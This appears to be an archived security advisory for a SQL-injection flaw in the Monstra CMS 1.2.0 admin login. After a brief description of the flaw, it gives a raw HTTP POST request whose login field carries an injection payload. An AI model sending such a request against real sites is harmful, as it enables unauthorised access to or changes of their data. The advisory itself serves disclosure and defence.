19 lines
No EOL
826 B
Text
19 lines
No EOL
826 B
Text
source: https://www.securityfocus.com/bid/62572/info
|
|
|
|
Monstra CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
Monstra 1.2.0 is vulnerable; other versions may also be affected.
|
|
|
|
POST /admin/ HTTP/1.1
|
|
Content-Length: 72
|
|
Content-Type: application/x-www-form-urlencoded
|
|
X-Requested-With: XMLHttpRequest
|
|
Cookie: PHPSESSID=f6bd4782f77e4027d3975d32c414a36d
|
|
Host: XXX
|
|
Connection: Keep-alive
|
|
Accept-Encoding: gzip,deflate
|
|
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
|
|
Accept: */*
|
|
login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll |